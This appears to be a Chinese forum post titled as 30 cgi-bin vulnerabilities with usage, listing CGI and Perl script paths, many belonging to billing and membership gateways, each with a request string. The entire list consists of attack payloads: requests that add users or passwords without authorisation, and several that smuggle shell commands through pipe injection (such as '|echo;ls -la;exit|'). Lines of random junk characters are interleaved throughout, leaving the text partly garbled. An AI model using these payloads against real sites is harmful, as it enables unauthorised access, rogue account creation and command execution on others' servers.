Cgi-bin 30个漏洞＋使用方法

admin

==============================

! n+ a* f1 k+ Y2 ^) I. Q/smspass.pl
6 b( }/ E9 e3 v3 h2 \username=username&password=password
6 j9 F, E4 v$ K% G! i+ F
$ D  t. J4 _9 H% m/index.cgi
wei=ren&gen=command

( f; p2 U8 L8 b( O& b; B; o; |/passmaster.cgi
3 H* M, s7 @! `0 n+ Q$ RAction=Add&Username=Username&Password=Password

7 H! V6 {1 ~0 ^* f; N$ e3 b/accountcreate.cgi
4 N8 v3 G' P/ I) {( P2 M9 Vusername=username&password=password&ref1=|echo;ls|

2 c$ D% S- d; R* B4 z6 h8 c/form.cgi
& J, O* s4 A  q" h- u7 Pname=xxxx&email=email&subject=xxxx&response=|echo;ls|

0 w4 o( b. q- m/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ccbill-local.asp
; l+ n! d% f8 w# r" b1 d" Y+ \, |post_values=username:password
6 B5 T) v4 o$ Q. C+ k
) B" F7 F. b$ F4 e$ J7 S/count.cgi
) x/ i* n5 ~' m& ]0 Hpinfile=|echo;ls -la;exit|
3 U) \2 I0 \* e# M: F/ @
8 e# b' H' P: M2 G+ b/recon.cgi
/recon.cgi?search
6 x1 L4 C- q3 B' Dsearchoption=1&searchfor=|echo;ls -al;exit|
- o4 T* E" @' W2 q, l$ X) D, E7 ]
/verotelrum.pl
7 M5 E4 E0 R$ u, c! Z# Zvercode=username:password:dseegsow:add:amount<&30>
, v* k  P* {4 V: a3 T2 s3 l
/af.cgi
_browser_out=|echo;ls -la;exit;|

" _! u& C' g  |/ ^& c* m/modify.cgi
username=username&password=password&expire=30
& w' L- v6 L" z* |0 J) G0 L
8 f4 e4 b1 h& A0 S% P/openjournal.cgi
$ x/ U9 W7 a/ D( G: F# ~edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/probecontrol.cgi
command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
) V& Q" `* f) T+ }; ^configfile=|echo; ls -alt; exit
$ ?8 z- r! B) `( Q
+ E( E' e8 C+ D/ l' e/gx9passwd.cgi
cmd=ADD&user=username&pass=password

' ~3 n7 `: C  K6 X) [/ibill*.pl
0 |8 t6 h# n, U# greqtype=add&authpwd=authpwd&username=username&password=password
$ U1 t. p! [* I
' ^& b6 `! p% \/ b& Y9 ~/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
* g$ }; O( q2 B$ c5 sdo=add&username=username&password=password&wpassword=password

/usercontrol.cgi
9 y" l+ a1 {1 x4 O8 N3 B, I4 hcommand=enable&username=USER&password=PASS

/globoSALErum.cgi
; @- e; s* f, J) d' G+ y: w% Raction=ADD&seccode=seccode&login=username&password=password
! s1 B5 M: w% A# G
/addusr.pl
, `# m9 A. ]' M! |" Q( l8 k3 Vuser=USER&pass=PASS&confirm=PASS

/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
9 ~1 ^8 k) |3 n, |1 q- c' _  q/ l/ opinfile=|echo;pwd;exit|
$ Y. W2 _* |  I3 k6 e' C! m* A
9 Q3 X5 i" [: X" k/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
6 h5 o: C  e' b- ^8 W
/af.cgi
& Q6 a6 a" j1 k, Z8 t/env.cgi
ADD+;echo;pwd;exit

/count.cgi
pinfile=|echo;pwd;exit|

) I+ F3 G/ s# l/recon.cgi
/ _4 {5 t% c2 C9 \; w9 Fsearchoption=1&searchfor=|echo;ls%20-al;exit|

9 X, M! A1 |; \$ U7 t! N5 B/add.cgi
username=username&password=password&expire=30

$ x3 R: \6 c/ b2 K5 H; Y0 s/ W+ Z% T==============================